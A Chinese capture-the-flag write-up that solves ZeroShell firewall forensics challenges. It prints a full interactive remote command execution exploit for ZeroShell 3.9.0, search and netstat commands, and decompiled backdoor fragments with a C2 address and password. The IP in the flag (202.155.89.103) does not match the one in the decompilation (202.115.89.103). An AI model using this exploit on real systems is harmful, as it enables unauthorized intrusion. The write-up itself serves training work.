zeroshell1
从数据包中找出攻击者利用漏洞开展攻击的会话(攻击者执行了一条命令),写出该会话中设置的flag,结果提交形式:flag{x}

小路是一名实习生,接替公司前任网管的工作,一天发现公司网络出口出现了异常的通信,现需要通过回溯出口流量对常点位(防火墙)进行定位,并确定异常的设备。然后进行深度取证检查(需要获取root权限)。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放获取防火墙设备管理员权限,查找防火墙设备上安装的木马,然后分析木马外联地址和通信密钥以及木马启动项位置。 (本题附件见于提前下载的加密附件2e9c01da1d333cb8840968689ed3bc57.7z,解压密码为11b0526b-9cfb-4ac4-8a75-10ad9097b7ce

数据包只有在这一道题能够用到,而且它的数据包容量非常大,一个一个找属实是浪费时间。所以我们使用一把梭工具。

然后把得到的base614字符串解密就可以得到flag。

flag:flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}

zeroshell2
通过漏洞利用获取设备控制权限,然后査找设备上的flag文件,提取flag文件内容,结果提交形式:flag{xxxxxxxxxx}

题目说明我们需要寻找漏洞,于是我们可以bing搜索zeroshell漏洞

它有现成的poc,但是是Python2的代码,我们可以让ai转成python3的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import requests
import optparse
import time

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url",
help='Base target uri (ex. http://target-uri/)')

options, args = parser.parse_args()
if not options.url:
print('[+] Specify an url target')
print('[+] Example usage: exploit.py -u http://target-uri/')
print('[+] Example help usage: exploit.py -h')
exit()

uri_zeroshell = options.url.rstrip("/")
session = requests.Session()

def command():
try:
check = session.get(
uri_zeroshell + "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'"
)

if check.status_code == 200:
flag = True
print('[+] ZeroShell 3.9.0 Remote Command Execution')
time.sleep(1)
print('[+] Success connect to target')
time.sleep(1)
print('[+] Trying to execute command in ZeroShell OS...\n')
time.sleep(1)
check.raise_for_status()

while flag:
cmd = input("$ ") # 修复 raw_input
payload = (
"/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A"
+ cmd +
"%0A'"
)
uri_vuln = uri_zeroshell + payload

headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}

res = session.get(uri_vuln, headers=headers, verify=False)

# 修复 TypeError,并处理 <html> 不存在的情况
try:
end_index = res.text.rindex("<html>")
cutoff = end_index // 2 # Python3 必须是整数
print(res.text[:cutoff])
except ValueError:
# 如果找不到 <html>,就直接输出全部结果
print(res.text)

except requests.exceptions.ConnectionError:
print('[x] Failed to Connect in: ' + uri_zeroshell)
print('[x] This host seems to be Down')
exit()

except requests.exceptions.HTTPError:
print('[x] Failed to execute command in: ' + uri_zeroshell)
print('[x] This host does not appear to be a ZeroShell')
exit()


command()

控制台输入python xx.py -u http://61.139.2.100

[^虚拟机部署文档已经详细说明了部署方式,我不再赘述]:

现在即可命令执行

于是我们可以寻找flag

find / -name "flag"

需要大量访问文件的操作会执行的很慢,上面的步骤好像执行了快五六分钟。

所以,访问这个flag即可。记住_DB.001这个文件夹,会考

cat /DB/_DB.001/flag

flag:flag{c6045425-6e6e-41d0-be09-95682a4f65c4}

zeroshell3
找出受控机防火墙设备中驻留木马的外联域名或IP地址,结果提交形式:flag{xxx},如flag{www.abc.com} 或 flag(16.122.33.44)

使用netstat检查netstat -tnp列出所有的TCP连接与进程

多试几次,你会发现在一堆127.0.0.1中冒出了个61.139.2.100,它外联着202.155.89.103。这说明木马已经启动

flag:flag{202.155.89.103}

zeroshell5
请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径

首先,我们可以确定的是,木马本体文件90%是隐藏的。毕竟,没有哪个蠢蛋会把这种东西摆在明面上

find / -name ".*"

同时,我们发现.nginx同时出现在临时文件/tmp和/_DB.001中,并且命名很可疑。进一步·确定答案,使用ls -al /DB/_DB.001

同时,作为一个elf文件竟然没有x权限,非常可疑

flag:flag{.nginx}

zeroshell5
请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥,结果提交形式:flag{xxxx}

我们使用DiskGenius_Pro来提取主办方给的虚拟机的文件的数据。基于上面的题目,我们已经知道木马文件是.nginx,所以我们提取他

右键复制到桌面即可,然后用ida打开。shift+f12查找字符串

在查找字符串的时候,你发现了第二题让你找的外联IP地址。说明这个IP地址所在的函数可能就是外联通信函数。加密密钥可能就在那里。

当然,如果你不考虑那三次的试错成本的话,在这个IP地址的下方有一个注释,突兀的就像他就是密钥一样

1
2
3
4
5
6
if ( !v9 )
{
sub_8063BF0(3);
if ( sub_8049C93(v6, off_81130C0) == 1 )// "11223344qweasdzxc"
{
sub_8063BF0(0);

当然最保险的方法还是把这个函数大体分析一遍。看不懂就交给ai呗

这是一个用C语言编写的函数,看起来像是一个后门或恶意软件的核心逻辑。让我逐步分析这个函数的功能:

函数整体逻辑

这个函数主要实现了一个隐藏的bash shell后门,通过特定验证后提供不同的功能。

详细代码分析

初始设置

1
2
sub_80482E0(*a2, 0, strlen(*a2));
strcpy((char *)*a2, "/bin/bash");
  • 首先清空参数,然后替换为/bin/bash
  • 这可能是为了隐藏真实目的

进程检查

1
2
v2 = sub_8063EB0();  // 可能是getpid()或类似函数
if (v2 < 0) return 1;
  • 检查进程状态,失败则返回错误码1

网络连接建立

1
2
v7 = sub_8068AD0("202.115.89.103");  // 连接到固定IP
sub_8057DE0(&v12, **(_DWORD **)(v7 + 16), *(_DWORD *)(v7 + 12));
  • 连接到硬编码的IP地址 202.115.89.103
  • 这明显是一个C&C服务器的连接

认证流程

1
if (sub_8049C93(v6, off_81130C0) == 1)  // 密码验证
  • 验证密码,硬编码密码可能是"11223344qweasdzxc"

功能分发

认证成功后,根据接收到的命令执行不同功能:

1
2
3
4
5
6
switch (n3) {
case 1: n12 = sub_804D330(v6); break; // 功能1
case 2: n12 = sub_804D3E1(v6); break; // 功能2
case 3: n12 = sub_804D49B(v6); break; // 功能3
default: n12 = 12; break; // 未知命令
}

安全风险分析

  1. 隐藏后门:伪装成bash进程
  2. 硬编码C&C服务器:固定连接到202.115.89.103
  3. 硬编码密码:使用固定认证密码
  4. 远程控制:支持多个远程命令执行
  5. 持久化:包含进程管理和重连逻辑

返回码含义

  • 1: 进程检查失败
  • 8-9: 权限或状态错误
  • 10: 密码验证失败
  • 11: 命令验证失败
  • 12: 未知命令
  • 其他:具体功能执行结果

这是一个典型的恶意软件后门实现,具备完整的C&C通信、认证和命令执行能力。

所以说flag已经很明了了。

flag:flag{11223344qweasdzxc}

zeroshell6
请写出驻留木马的启动项,注意写出启动文件的完整路径。结果提交形式:flag{xxxx},如flag{/a/b/c}

在第三题寻找木马文件的过程中,我提到过,它是一个elf可执行文件,但是没有可执行权限。所以如果启动项要启动木马的话,那必定会有诸如像chmod +x /.nginx这样的指令。刚好Sublime Text可以搜索文件内容,我们可以利用这一点找到启动项

首先把整个_DB.001提取出来,具体步骤和第五题提取.nginx一模一样。然后把桌面上的文件夹拖入Sublime Text

全局搜索ctrl+shift+f

因此flag:flag{\_DB.001\var\register\system\startup\scripts\nat\File}

说一下Linux和Windows的文件路径的分隔符不太一样。Windows用的是反斜杠,Linux用的是正斜杠。但是我懒得改了,你们写的时候自己改一下。